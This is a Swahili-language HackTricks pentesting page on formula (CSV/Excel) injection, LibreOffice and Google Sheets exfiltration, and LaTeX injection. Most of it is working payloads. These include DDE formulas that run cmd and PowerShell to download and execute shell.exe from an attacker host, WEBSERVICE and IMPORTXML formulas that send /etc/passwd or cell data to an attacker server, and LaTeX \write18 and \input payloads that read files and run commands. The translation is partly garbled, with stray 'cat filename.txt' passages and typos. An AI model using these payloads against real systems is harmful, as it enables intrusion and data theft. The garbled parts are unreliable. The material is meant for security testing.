hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md
2024-02-11 02:13:58 +00:00

13 KiB

Kuingiza Mfumo/CSV/Doc/LaTeX/GhostScript

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Tafuta udhaifu unaofaa zaidi ili uweze kuzirekebisha haraka. Intruder inafuatilia eneo lako la shambulio, inafanya uchunguzi wa vitisho wa kujitokeza, inapata masuala katika mfumo wako mzima wa teknolojia, kutoka kwa APIs hadi programu za wavuti na mifumo ya wingu. Jaribu bure leo.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Kuingiza Mfumo

Habari

Ikiwa kuingizo lako linarejelewa ndani ya faili za CSV (au faili yoyote nyingine ambayo labda itafunguliwa na Excel), labda unaweza kuweka mifumo ya Excel ambayo itatekelezwa wakati mtumiaji anafungua faili au wakati mtumiaji anabonyeza kiungo ndani ya karatasi ya Excel.

{% hint style="danger" %} Leo hii Excel itatoa tahadhari (mara kadhaa) kwa mtumiaji wakati kitu kinapakia kutoka nje ya Excel ili kumzuia kufanya vitendo vya uovu. Kwa hivyo, juhudi maalum za Uhandisi wa Jamii lazima zitumike kwa malipo ya mwisho. {% endhint %}

Orodha ya Maneno

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Kiungo cha mtandao

Mfano ufuatao ni muhimu sana kwa kuvuja maudhui kutoka kwenye karatasi ya mwisho ya Excel na kufanya maombi kwenye maeneo yoyote. Lakini inahitaji mtumiaji bonyeze kiungo (na kukubali onyo).

Mfano ufuatao ulichukuliwa kutoka https://payatu.com/csv-injection-basic-to-exploit

Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi unaoathiriwa kupitia shambulio la kuingiza CSV. Nia kuu ya mshambuliaji ni kudhoofisha mfumo unaotumiwa na walimu kusimamia maelezo ya wanafunzi. Njia hii inahusisha mshambuliaji kuingiza mzigo mbaya kwenye programu, haswa kwa kuingiza fomula zenye madhara kwenye uga uliokusudiwa kwa maelezo ya wanafunzi. Shambulio linatokea kama ifuatavyo:

  1. Kuingiza Mzigo Mbaya:
  • Mshambuliaji anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumiwa kawaida kwenye karatasi za kielektroniki (kwa mfano, =HYPERLINK("<malicious_link>","Bonyeza hapa")).
  • Fomula hii imeundwa kuunda kiungo cha mtandao, lakini kinaelekeza kwenye seva mbaya inayodhibitiwa na mshambuliaji.
  1. Kuuza Data Iliyodhoofishwa:
  • Walimu, bila kujua kudhoofishwa, hutumia kazi ya programu kuhamisha data kwenye faili ya CSV.
  • Faili ya CSV, wakati inafunguliwa, bado ina mzigo mbaya. Mzigo huu unaonekana kama kiungo cha mtandao kinachoweza kubonyezwa kwenye karatasi ya kielektroniki.
  1. Kuzindua Shambulio:
  • Mwalimu anabonyeza kiungo cha mtandao, akiamini kuwa ni sehemu halali ya maelezo ya mwanafunzi.
  • Baada ya kubonyeza, data nyeti (pamoja na maelezo kutoka kwenye karatasi ya kielektroniki au kompyuta ya mwalimu) inatumwa kwenye seva ya mshambuliaji.
  1. Kulogu Data:
  • Seva ya mshambuliaji inapokea na kurekodi data nyeti iliyotumwa kutoka kwenye kompyuta ya mwalimu.
  • Mshambuliaji anaweza kisha kutumia data hii kwa madhumuni mbaya mbalimbali, kudhoofisha zaidi faragha na usalama wa wanafunzi na taasisi.

RCE

Angalia chapisho asili kwa maelezo zaidi.

Katika mipangilio maalum au toleo la zamani la Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kutumiwa kutekeleza amri za aina yoyote. Ili kutumia hii, mipangilio ifuatayo lazima iwe imewezeshwa:

  • Nenda kwa Faili → Chaguo → Kituo cha Uaminifu → Mipangilio ya Kituo cha Uaminifu → Yaliyomo ya Nje, na wezesha Uzinduzi wa Seva ya Kubadilishana Data ya Kudumu.

Wakati karatasi ya kielektroniki yenye mzigo mbaya inafunguliwa (na ikiwa mtumiaji anakubali onyo), mzigo huo unatekelezwa. Kwa mfano, ili kuzindua programu ya kuhesabu, mzigo utakuwa:

`=cmd|' /C calc'!xxx`

Amri za ziada pia zinaweza kutekelezwa, kama vile kupakua na kutekeleza faili kwa kutumia PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Uingizaji wa Faili ya Ndani (LFI) katika LibreOffice Calc

LibreOffice Calc inaweza kutumika kusoma faili za ndani na kuvuja data. Hapa kuna njia kadhaa:

  • Kusoma mstari wa kwanza kutoka faili ya ndani /etc/passwd: ='file:///etc/passwd'#$passwd.A1
  • Kuvuja data iliyosomwa kwenye seva inayodhibitiwa na mshambuliaji: =WEBSERVICE(CONCATENATE("http://<anwani ya IP ya mshambuliaji>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Kuvuja zaidi ya mstari mmoja: =WEBSERVICE(CONCATENATE("http://<anwani ya IP ya mshambuliaji>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Kuvuja kupitia DNS (kutuma data iliyosomwa kama maswali ya DNS kwenye seva ya DNS inayodhibitiwa na mshambuliaji): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<kikoa cha mshambuliaji>"))

Google Sheets kwa Exfiltration ya Data Out-of-Band (OOB)

Google Sheets inatoa kazi ambazo zinaweza kutumiwa kwa exfiltration ya data Out-of-Band:

  • CONCATENATE: Inaongeza vifungo pamoja - =CONCATENATE(A2:E2)
  • IMPORTXML: Inaingiza data kutoka aina za data zilizopangwa - =IMPORTXML(CONCAT("http://<anwani ya IP ya mshambuliaji:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Inaingiza vyanzo vya RSS au ATOM - =IMPORTFEED(CONCAT("http://<anwani ya IP ya mshambuliaji:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Inaingiza data kutoka kwenye meza au orodha za HTML - =IMPORTHTML (CONCAT("http://<anwani ya IP ya mshambuliaji:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Inaingiza safu ya seli kutoka kwenye karatasi nyingine - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: Inaingiza picha kwenye seli - =IMAGE("https://<anwani ya IP ya mshambuliaji:Port>/images/srpr/logo3w.png")

Uingizaji wa LaTeX

Kawaida seva ambazo utazipata kwenye mtandao ambazo zinafanya uongofu wa nambari za LaTeX kuwa PDF hutumia pdflatex.
Programu hii hutumia sifa 3 kuu kuwezesha/zuia utekelezaji wa amri:

  • --no-shell-escape: Kulemaza ujenzi wa \write18{amri}, hata kama umewezeshwa katika faili ya texmf.cnf.
  • --shell-restricted: Sawa na --shell-escape, lakini imezuiliwa kwa seti 'salama' ya amri zilizopangwa mapema (**Kwenye Ubuntu 16.04 orodha iko katika /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Kuwezesha ujenzi wa \write18{amri}. Amri inaweza kuwa amri yoyote ya shell. Ujenzi huu kawaida haupendekezwi kwa sababu za usalama.

Hata hivyo, kuna njia nyingine za kutekeleza amri, kwa hivyo ili kuepuka RCE ni muhimu sana kutumia --shell-restricted.

Soma faili

Inaweza kuhitajika kurekebisha uingizaji na vifuniko kama [ au $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Soma faili lenye mstari mmoja

To read a single-lined file, you can use the following command:

Kwa kusoma faili lenye mstari mmoja, unaweza kutumia amri ifuatayo:

cat filename.txt

This command will display the contents of the file filename.txt on the terminal.

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Soma faili lenye mistari mingi

To read a file with multiple lines, you can use the following command:

Kwa kusoma faili lenye mistari mingi, unaweza kutumia amri ifuatayo:

cat filename.txt

This command will display the contents of the file on the terminal. You can replace filename.txt with the actual name of the file you want to read.

Amri hii itaonyesha maudhui ya faili kwenye terminal. Unaweza kubadilisha filename.txt na jina halisi la faili unayotaka kusoma.

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Andika faili

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Utekelezaji wa Amri

Kuingiza amri itaelekezwa kwa stdin, tumia faili ya muda ili kuipata.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Ikiwa unapata kosa lolote la LaTex, fikiria kutumia base64 kupata matokeo bila herufi mbaya.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Kutoka @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Uingizaji wa Ghostscript

Angalia https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Marejeo

Tafuta udhaifu unaofaa zaidi ili uweze kuzirekebisha haraka. Intruder inafuatilia eneo lako la shambulio, inatekeleza uchunguzi wa vitisho wa kujitokeza, inapata matatizo katika mfumo wako mzima wa teknolojia, kutoka kwa APIs hadi programu za wavuti na mifumo ya wingu. Jaribu bure leo.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: